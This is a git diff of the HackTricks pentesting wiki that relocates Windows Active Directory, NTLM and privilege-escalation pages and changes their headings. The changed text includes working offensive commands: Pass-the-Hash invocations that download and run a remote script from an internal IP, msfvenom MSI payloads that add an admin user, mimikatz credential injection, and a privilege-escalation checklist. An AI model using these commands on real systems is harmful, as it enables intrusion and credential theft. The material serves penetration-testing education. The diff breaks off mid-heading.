@@ -16,21 +16,20 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Pass The Ticket \(PTT\) +## Pass The Ticket (PTT) This kind of attack is similar to Pass the Key, but instead of using hashes to request a ticket, the ticket itself is stolen and used to authenticate as its owner. **Read**: -* [Harvesting tickets from Windows](../../pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) -* [Harvesting tickets from Linux](../../pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) +* [Harvesting tickets from Windows](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) +* [Harvesting tickets from Linux](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) -## **Swaping Linux and Windows tickets between platforms** +### **Swaping Linux and Windows tickets between platforms** -The [ticket\_converter](https://github.com/Zer1t0/ticket_converter) script. The only needed parameters are the current ticket and the output file, it automatically detects the input ticket file format and converts it. For example: +The [ticket\_converter](https://github.com/Zer1t0/ticket\_converter) script. The only needed parameters are the current ticket and the output file, it automatically detects the input ticket file format and converts it. For example: -```text +``` root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi Converting ccache => kirbi root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache @@ -39,7 +38,7 @@ Converting kirbi => ccache [Kekeo](https://github.com/gentilkiwi/kekeo), to convert them in Windows. This tool was not checked due to requiring a license in their ASN1 library, but I think it is worth mentioning. -## Pass The Ticket Attack +### Pass The Ticket Attack {% code title="Linux" %} ```bash @@ -58,8 +57,6 @@ klist #List tickets in cache to cehck that mimikatz has loaded the ticket ``` {% endcode %} - -
Support HackTricks and get benefits! @@ -75,5 +72,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/windows/active-directory-methodology/password-spraying.md b/windows-hardening/active-directory-methodology/password-spraying.md similarity index 100% rename from windows/active-directory-methodology/password-spraying.md rename to windows-hardening/active-directory-methodology/password-spraying.md diff --git a/windows/active-directory-methodology/printers-spooler-service-abuse.md b/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md similarity index 100% rename from windows/active-directory-methodology/printers-spooler-service-abuse.md rename to windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md diff --git a/windows/active-directory-methodology/privileged-accounts-and-token-privileges.md b/windows-hardening/active-directory-methodology/privileged-accounts-and-token-privileges.md similarity index 100% rename from windows/active-directory-methodology/privileged-accounts-and-token-privileges.md rename to windows-hardening/active-directory-methodology/privileged-accounts-and-token-privileges.md diff --git a/windows/active-directory-methodology/resource-based-constrained-delegation.md b/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md similarity index 100% rename from windows/active-directory-methodology/resource-based-constrained-delegation.md rename to windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md diff --git a/windows/active-directory-methodology/security-descriptors.md b/windows-hardening/active-directory-methodology/security-descriptors.md similarity index 100% rename from windows/active-directory-methodology/security-descriptors.md rename to windows-hardening/active-directory-methodology/security-descriptors.md diff --git a/windows/active-directory-methodology/silver-ticket.md b/windows-hardening/active-directory-methodology/silver-ticket.md similarity index 100% rename from windows/active-directory-methodology/silver-ticket.md rename to windows-hardening/active-directory-methodology/silver-ticket.md diff --git a/windows/active-directory-methodology/skeleton-key.md b/windows-hardening/active-directory-methodology/skeleton-key.md similarity index 100% rename from windows/active-directory-methodology/skeleton-key.md rename to windows-hardening/active-directory-methodology/skeleton-key.md diff --git a/windows/active-directory-methodology/unconstrained-delegation.md b/windows-hardening/active-directory-methodology/unconstrained-delegation.md similarity index 100% rename from windows/active-directory-methodology/unconstrained-delegation.md rename to windows-hardening/active-directory-methodology/unconstrained-delegation.md diff --git a/windows/authentication-credentials-uac-and-efs.md b/windows-hardening/authentication-credentials-uac-and-efs.md similarity index 100% rename from windows/authentication-credentials-uac-and-efs.md rename to windows-hardening/authentication-credentials-uac-and-efs.md diff --git a/windows/av-bypass.md b/windows-hardening/av-bypass.md similarity index 100% rename from windows/av-bypass.md rename to windows-hardening/av-bypass.md diff --git a/windows/basic-cmd-for-pentesters.md b/windows-hardening/basic-cmd-for-pentesters.md similarity index 100% rename from windows/basic-cmd-for-pentesters.md rename to windows-hardening/basic-cmd-for-pentesters.md diff --git a/windows/basic-powershell-for-pentesters/README.md b/windows-hardening/basic-powershell-for-pentesters/README.md similarity index 100% rename from windows/basic-powershell-for-pentesters/README.md rename to windows-hardening/basic-powershell-for-pentesters/README.md diff --git a/windows/basic-powershell-for-pentesters/powerview.md b/windows-hardening/basic-powershell-for-pentesters/powerview.md similarity index 100% rename from windows/basic-powershell-for-pentesters/powerview.md rename to windows-hardening/basic-powershell-for-pentesters/powerview.md diff --git a/windows/checklist-windows-privilege-escalation.md b/windows-hardening/checklist-windows-privilege-escalation.md similarity index 80% rename from windows/checklist-windows-privilege-escalation.md rename to windows-hardening/checklist-windows-privilege-escalation.md index e011a9ca..7ad2ca11 100644 --- a/windows/checklist-windows-privilege-escalation.md +++ b/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,4 +1,4 @@ - +# Checklist - Local Windows Privilege Escalation
@@ -16,25 +16,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -{% hint style="warning" %} -**Support HackTricks and get benefits!** - -Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? -Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** - -**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** -{% endhint %} - -## **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) - -## [System Info](windows-local-privilege-escalation/#system-info) +### [System Info](windows-local-privilege-escalation/#system-info) * [ ] Obtain [**System informatio**](windows-local-privilege-escalation/#system-info) * [ ] Search for **kernel** [**exploits using scripts**](windows-local-privilege-escalation/#version-exploits) @@ -47,7 +31,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] [**WSUS exploit**](windows-local-privilege-escalation/#wsus)? * [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)? -## [Logging/AV enumeration](windows-local-privilege-escalation/#enumeration) +### [Logging/AV enumeration](windows-local-privilege-escalation/#enumeration) * [ ] Check [**Audit** ](windows-local-privilege-escalation/#audit-settings)and [**WEF** ](windows-local-privilege-escalation/#wef)settings * [ ] Check [**LAPS**](windows-local-privilege-escalation/#laps) @@ -66,42 +50,42 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] Check [**Password Policy**](windows-local-privilege-escalation/#password-policy) * [ ] What is[ **inside the Clipboard**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)? -## [Network](windows-local-privilege-escalation/#network) +### [Network](windows-local-privilege-escalation/#network) * [ ] Check **current** [**network** **information**](windows-local-privilege-escalation/#network) * [ ] Check **hidden local services** restricted to the outside -## [Running Processes](windows-local-privilege-escalation/#running-processes) +### [Running Processes](windows-local-privilege-escalation/#running-processes) * [ ] Processes binaries [**file and folders permissions**](windows-local-privilege-escalation/#file-and-folder-permissions) * [ ] [**Memory Password mining**](windows-local-privilege-escalation/#memory-password-mining) * [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/#insecure-gui-apps) -## [Services](windows-local-privilege-escalation/#services) +### [Services](windows-local-privilege-escalation/#services) * [ ] [Can you **modify any service**?](windows-local-privilege-escalation/#permissions) * [ ] [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/#modify-service-binary-path) * [ ] [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/#services-registry-permissions) * [ ] [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/#unquoted-service-paths) -## [**Applications**](windows-local-privilege-escalation/#applications) +### [**Applications**](windows-local-privilege-escalation/#applications) * [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/#write-permissions) * [ ] [**Startup Applications**](windows-local-privilege-escalation/#run-at-startup) * [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/#drivers) -## [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking) +### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking) * [ ] Can you **write in any folder inside PATH**? * [ ] Is there any known service binary that **tries to load any non-existant DLL**? * [ ] Can you **write** in any **binaries folder**? -## [Network](windows-local-privilege-escalation/#network) +### [Network](windows-local-privilege-escalation/#network) * [ ] Enumerate the network(shares, interfaces, routes, neighbours...) * [ ] Take a special look to network services listing on local (127.0.0.1) -## [Windows Credentials](windows-local-privilege-escalation/#windows-credentials) +### [Windows Credentials](windows-local-privilege-escalation/#windows-credentials) * [ ] [**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)credentials * [ ] [**Windows Vault**](windows-local-privilege-escalation/#windows-vault) credentials that you could use? @@ -113,7 +97,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/#appcmd-exe)? Credentials? * [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? DLL Side Loading? -## [Files and Registry (Credentials)](windows-local-privilege-escalation/#files-and-registry-credentials) +### [Files and Registry (Credentials)](windows-local-privilege-escalation/#files-and-registry-credentials) * [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/#putty-ssh-host-keys) * [ ] [**SSH keys in registry**](windows-local-privilege-escalation/#ssh-keys-in-registry)? @@ -131,15 +115,14 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] [**Generic password search**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) in files and registry * [ ] [**Tools**](windows-local-privilege-escalation/#tools-that-search-for-passwords) to automatically search for passwords -## [Leaked Handlers](windows-local-privilege-escalation/#leaked-handlers) +### [Leaked Handlers](windows-local-privilege-escalation/#leaked-handlers) * [ ] Have you access to any handler of a process run by administrator? -## [Pipe Client Impersonation](windows-local-privilege-escalation/#named-pipe-client-impersonation) +### [Pipe Client Impersonation](windows-local-privilege-escalation/#named-pipe-client-impersonation) * [ ] Check if you can abuse it -
Support HackTricks and get benefits! @@ -155,5 +138,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/windows/ntlm/README.md b/windows-hardening/ntlm/README.md similarity index 90% rename from windows/ntlm/README.md rename to windows-hardening/ntlm/README.md index ce24e52f..7cda474d 100644 --- a/windows/ntlm/README.md +++ b/windows-hardening/ntlm/README.md @@ -1,4 +1,4 @@ - +# NTLM
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information **NTLM Credentials**: Domain name (if any), username and password hash. @@ -29,17 +28,17 @@ The **network packets** of a **NTLM authentication** have the **header** "**NTLM The protocols: LM, NTLMv1 and NTLMv2 are supported in the DLL %windir%\Windows\System32\msv1\_0.dll -# LM, NTLMv1 and NTLMv2 +## LM, NTLMv1 and NTLMv2 You can check and configure which protocol will be used: -## GUI +### GUI Execute _secpol.msc_ -> Local policies -> Security Options -> Network Security: LAN Manager authentication level. There are 6 levels (from 0 to 5). ![](<../../.gitbook/assets/image (92).png>) -## Registry +### Registry This will set the level 5: @@ -58,7 +57,7 @@ Possible values: 5 - Send NTLMv2 response only, refuse LM & NTLM ``` -# Basic NTLM Domain authentication Scheme +## Basic NTLM Domain authentication Scheme 1. The **user** introduces his **credentials** 2. The client machine **sends an authentication request** sending the **domain name** and the **username** @@ -69,11 +68,11 @@ Possible values: The **server** and the **Domain Controller** are able to create a **Secure Channel** via **Netlogon** server as the Domain Controller know the password of the server (it is inside the **NTDS.DIT** db). -## Local NTLM authentication Scheme +### Local NTLM authentication Scheme The authentication is as the one mentioned **before but** the **server** knows the **hash of the user** that tries to authenticate inside the **SAM** file. So, instead of asking the Domain Controller, the **server will check itself** if the user can authenticate. -## NTLMv1 Challenge +### NTLMv1 Challenge The **challenge length is 8 bytes** and the **response is 24 bytes** long. @@ -87,17 +86,17 @@ The **hash NT (16bytes)** is divided in **3 parts of 7bytes each** (7B + 7B + (2 * The 3º key is composed always by **5 zeros**. * Given the **same challenge** the **response** will be **same**. So, you can give as a **challenge** to the victim the string "**1122334455667788**" and attack the response used **precomputed rainbow tables**. -## NTLMv1 attack +### NTLMv1 attack Nowadays is becoming less common to find environments with Unconstrained Delegation configured, but this doesn't mean you can't **abuse a Print Spooler service** configured. You could abuse some credentials/sessions you already have on the AD to **ask the printer to authenticate** against some **host under your control**. Then, using `metasploit auxiliary/server/capture/smb` or `responder` you can **set the authentication challenge to 1122334455667788**, capture the authentication attempt, and if it was done using **NTLMv1** you will be able to **crack it**.\ -If you are using `responder` you could try to **use the flag `--lm` ** to try to **downgrade** the **authentication**.\ +If you are using `responder` you could try to \*\*use the flag `--lm` \*\* to try to **downgrade** the **authentication**.\ _Note that for this technique the authentication must be performed using NTLMv1 (NTLMv2 is not valid)._ Remember that the printer will use the computer account during the authentication, and computer accounts use **long and random passwords** that you **probably won't be able to crack** using common **dictionaries**. But the **NTLMv1** authentication **uses DES** ([more info here](./#ntlmv1-challenge)), so using some services specially dedicated to cracking DES you will be able to crack it (you could use [https://crack.sh/](https://crack.sh) for example). -## NTLMv2 Challenge +### NTLMv2 Challenge The **challenge length is 8 bytes** and **2 responses are sent**: One is **24 bytes** long and the length of the **other** is **variable**. @@ -107,14 +106,14 @@ The **second response** is created using **several values** (a new client challe If you have a **pcap that has captured a successful authentication process**, you can follow this guide to get the domain, username , challenge and response and try to creak the password: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://research.801labs.org/cracking-an-ntlmv2-hash/) -# Pass-the-Hash +## Pass-the-Hash **Once you have the hash of the victim**, you can use it to **impersonate** it.\ You need to use a **tool** that will **perform** the **NTLM authentication using** that **hash**, **or** you could create a new **sessionlogon** and **inject** that **hash** inside the **LSASS**, so when any **NTLM authentication is performed**, that **hash will be used.** The last option is what mimikatz does. **Please, remember that you can perform Pass-the-Hash attacks also using Computer accounts.** -## **Mimikatz** +### **Mimikatz** **Needs to be run as administrator** @@ -124,12 +123,12 @@ Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm This will launch a process that will belongs to the users that have launch mimikatz but internally in LSASS the saved credentials are the ones inside the mimikatz parameters. Then, you can access to network resources as if you where that user (similar to the `runas /netonly` trick but you don't need to know the plain-text password). -## Pass-the-Hash from linux +### Pass-the-Hash from linux -You can obtain code execution in Windows machines using Pass-the-Hash from Linux. \ -[**Access here to learn how to do it.**](broken-reference) +You can obtain code execution in Windows machines using Pass-the-Hash from Linux.\ +[**Access here to learn how to do it.**](../../windows/ntlm/broken-reference/) -## Impacket Windows compiled tools +### Impacket Windows compiled tools You can download[ impacket binaries for Windows here](https://github.com/ropnop/impacket\_static\_binaries/releases/tag/0.9.21-dev-binaries). @@ -138,35 +137,35 @@ You can download[ impacket binaries for Windows here](https://github.com/ropnop/ * **atexec.exe** (In this case you need to specify a command, cmd.exe and powershell.exe are not valid to obtain an interactive shell)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'` * There are several more Impacket binaries... -## Invoke-TheHash +### Invoke-TheHash You can get the powershell scripts from here: [https://github.com/Kevin-Robertson/Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash) -### Invoke-SMBExec +#### Invoke-SMBExec ``` Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose ``` -### Invoke-WMIExec +#### Invoke-WMIExec ``` Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose ``` -### Invoke-SMBClient +#### Invoke-SMBClient ``` Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose ``` -### Invoke-SMBEnum +#### Invoke-SMBEnum ``` Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose ``` -### Invoke-TheHash +#### Invoke-TheHash This function is a **mix of all the others**. You can pass **several hosts**, **exclude** someones and **select** the **option** you want to use (_SMBExec, WMIExec, SMBClient, SMBEnum_). If you select **any** of **SMBExec** and **WMIExec** but you **don't** give any _**Command**_ parameter it will just **check** if you have **enough permissions**. @@ -174,9 +173,9 @@ This function is a **mix of all the others**. You can pass **several hosts**, ** Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0 ``` -## [Evil-WinRM Pass the Hash](../../pentesting/5985-5986-pentesting-winrm.md#using-evil-winrm) +### [Evil-WinRM Pass the Hash](../../network-services-pentesting/5985-5986-pentesting-winrm.md#using-evil-winrm) -## Windows Credentials Editor (WCE) +### Windows Credentials Editor (WCE) **Needs to be run as administrator** @@ -186,30 +185,29 @@ This tool will do the same thing as mimikatz (modify LSASS memory). wce.exe -s ::: ``` -## Manual Windows remote execution with username and password +### Manual Windows remote execution with username and password * [**PsExec**](psexec-and-winexec.md) * [**SmbExec**](smbexec.md) * [**WmicExec**](wmicexec.md) * [**AtExec**](atexec.md) -# Extracting credentials from a Windows Host +## Extracting credentials from a Windows Host **For more information about** [**how to obtain credentials from a Windows host you should read this page**](../stealing-credentials/)**.** -# NTLM Relay and Responder +## NTLM Relay and Responder **Read more detailed guide on how to perform those attacks here:** -{% content-ref url="../../pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} -[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} +[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) {% endcontent-ref %} -# Parse NTLM challenges from a network capture +## Parse NTLM challenges from a network capture **You can use** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide) -
Support HackTricks and get benefits! @@ -225,5 +223,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/windows/ntlm/atexec.md b/windows-hardening/ntlm/atexec.md similarity index 100% rename from windows/ntlm/atexec.md rename to windows-hardening/ntlm/atexec.md diff --git a/windows/ntlm/places-to-steal-ntlm-creds.md b/windows-hardening/ntlm/places-to-steal-ntlm-creds.md similarity index 100% rename from windows/ntlm/places-to-steal-ntlm-creds.md rename to windows-hardening/ntlm/places-to-steal-ntlm-creds.md diff --git a/windows/ntlm/psexec-and-winexec.md b/windows-hardening/ntlm/psexec-and-winexec.md similarity index 100% rename from windows/ntlm/psexec-and-winexec.md rename to windows-hardening/ntlm/psexec-and-winexec.md diff --git a/windows/ntlm/smbexec.md b/windows-hardening/ntlm/smbexec.md similarity index 100% rename from windows/ntlm/smbexec.md rename to windows-hardening/ntlm/smbexec.md diff --git a/windows/ntlm/winrm.md b/windows-hardening/ntlm/winrm.md similarity index 94% rename from windows/ntlm/winrm.md rename to windows-hardening/ntlm/winrm.md index 6518375d..88aa94ac 100644 --- a/windows/ntlm/winrm.md +++ b/windows-hardening/ntlm/winrm.md @@ -1,4 +1,4 @@ - +# WinRM
@@ -16,9 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -For information about [**WinRM read this page**](../../pentesting/5985-5986-pentesting-winrm.md). - +For information about [**WinRM read this page**](../../network-services-pentesting/5985-5986-pentesting-winrm.md).
@@ -35,5 +33,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/windows/ntlm/wmicexec.md b/windows-hardening/ntlm/wmicexec.md similarity index 100% rename from windows/ntlm/wmicexec.md rename to windows-hardening/ntlm/wmicexec.md diff --git a/windows/stealing-credentials/README.md b/windows-hardening/stealing-credentials/README.md similarity index 100% rename from windows/stealing-credentials/README.md rename to windows-hardening/stealing-credentials/README.md diff --git a/windows/stealing-credentials/credentials-mimikatz.md b/windows-hardening/stealing-credentials/credentials-mimikatz.md similarity index 100% rename from windows/stealing-credentials/credentials-mimikatz.md rename to windows-hardening/stealing-credentials/credentials-mimikatz.md diff --git a/windows/stealing-credentials/credentials-protections.md b/windows-hardening/stealing-credentials/credentials-protections.md similarity index 100% rename from windows/stealing-credentials/credentials-protections.md rename to windows-hardening/stealing-credentials/credentials-protections.md diff --git a/windows/windows-local-privilege-escalation/README.md b/windows-hardening/windows-local-privilege-escalation/README.md similarity index 94% rename from windows/windows-local-privilege-escalation/README.md rename to windows-hardening/windows-local-privilege-escalation/README.md index 6687a554..fb82572f 100644 --- a/windows/windows-local-privilege-escalation/README.md +++ b/windows-hardening/windows-local-privilege-escalation/README.md @@ -1,5 +1,7 @@ # Windows Local Privilege Escalation +## Windows Local Privilege Escalation +
Support HackTricks and get benefits! @@ -16,12 +18,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +## Initial Windows Theory -# Initial Windows Theory - -## Access Tokens +### Access Tokens **If you don't know what are Windows Access Tokens, read the following page before continuing:** @@ -29,7 +30,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) [access-tokens.md](access-tokens.md) {% endcontent-ref %} -## ACLs - DACLs/SACLs/ACEs +### ACLs - DACLs/SACLs/ACEs **If you don't know what is any of the acronyms used in the heading of this section, read the following page before continuing**: @@ -37,7 +38,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) [acls-dacls-sacls-aces.md](acls-dacls-sacls-aces.md) {% endcontent-ref %} -## Integrity Levels +### Integrity Levels **If you don't know what are integrity levels in Windows you should read the following page before continuing:** @@ -45,9 +46,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) [integrity-levels.md](integrity-levels.md) {% endcontent-ref %} -# System Info +## System Info -## Version info enumeration +### Version info enumeration Check if the Windows version has any known vulnerability (check also the patches applied). @@ -64,7 +65,7 @@ Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hot Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -## Version Exploits +### Version Exploits **On the system** @@ -84,7 +85,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches * [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) * [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) -## Environment +### Environment Any credential/Juicy info saved in the env variables? @@ -94,7 +95,7 @@ dir env: Get-ChildItem Env: | ft Key,Value ``` -## PowerShell History +### PowerShell History ```bash ConsoleHost_history #Find the PATH where is saved @@ -106,7 +107,7 @@ cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -## PowerShell Transcript files +### PowerShell Transcript files You can learn how to turn this on in [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) @@ -123,7 +124,7 @@ Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber Stop-Transcript ``` -## PowerShell Module Logging +### PowerShell Module Logging It records the pipeline execution details of PowerShell. This includes the commands which are executed including command invocations and some portion of the scripts. It may not have the entire detail of the execution and the output results.\ You can enable this following the link of the last section (Transcript files) but enabling "Module Logging" instead of "Powershell Transcription". @@ -141,7 +142,7 @@ To view the last 15 events from PowersShell logs you can execute: Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` -## PowerShell **Script Block Logging** +### PowerShell **Script Block Logging** It records block of code as they are executed therefore it captures the complete activity and full content of the script. It maintains the complete audit trail of each activity which can be used later in forensics and to study the malicious behavior. It records all the activity at time of execution thus provides the complete details. @@ -159,14 +160,14 @@ To view the last 20 events you can use: Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` -## Internet Settings +### Internet Settings ```bash reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" ``` -## Drives +### Drives ```bash wmic logicaldisk get caption || fsutil fsinfo drives @@ -174,7 +175,7 @@ wmic logicaldisk get caption,description,providername Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` -# WSUS +## WSUS You can compromise the system if the updates are not requested using http**S** but http. @@ -212,16 +213,16 @@ Basically, this is the flaw that this bug exploits: You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). -# KrbRelayUp +## KrbRelayUp This is essentially a universal no-fix **local privilege escalation** in windows **domain** environments where **LDAP signing is not enforced,** where the **user has self rights** (to configure **RBCD**) and where the **user can create computers in the domain.**\ -****All the requirements **** are satisfied with **default settings**. +\*\*\*\*All the requirements \*\*\*\* are satisfied with **default settings**. -Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)**** +Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)\*\*\*\* Even if the attack is For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) -# AlwaysInstallElevated +## AlwaysInstallElevated **If** these 2 registers are **enabled** (value is **0x1**), then users of any privilege can **install** (execute) `*.msi` files as NT AUTHORITY\\**SYSTEM**. @@ -230,7 +231,7 @@ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` -## Metasploit payloads +### Metasploit payloads ```bash msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format @@ -239,7 +240,7 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms If you have a meterpreter session you can automate this technique using the module **`exploit/windows/local/always_install_elevated`** -## PowerUP +### PowerUP Use the `Write-UserAddMSI` command from power-up to create inside the current directory a Windows MSI binary to escalate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition (so you will need GIU access): @@ -249,7 +250,7 @@ Write-UserAddMSI Just execute the created binary to escalate privileges. -## MSI Wrapper +### MSI Wrapper Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a "**.bat**" file if you **just** want to **execute** **command lines** @@ -257,13 +258,13 @@ Read this tutorial to learn how to create a MSI wrapper using this tools. Note t [msi-wrapper.md](msi-wrapper.md) {% endcontent-ref %} -## Create MSI with WIX +### Create MSI with WIX {% content-ref url="create-msi-with-wix.md" %} [create-msi-with-wix.md](create-msi-with-wix.md) {% endcontent-ref %} -## MSI Installation +### MSI Installation To execute the **installation** of the malicious `.msi` file in **background:** @@ -273,9 +274,9 @@ msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi To exploit this vulnerability you can use: _exploit/windows/local/always\_install\_elevated_ -# Antivirus and Detectors +## 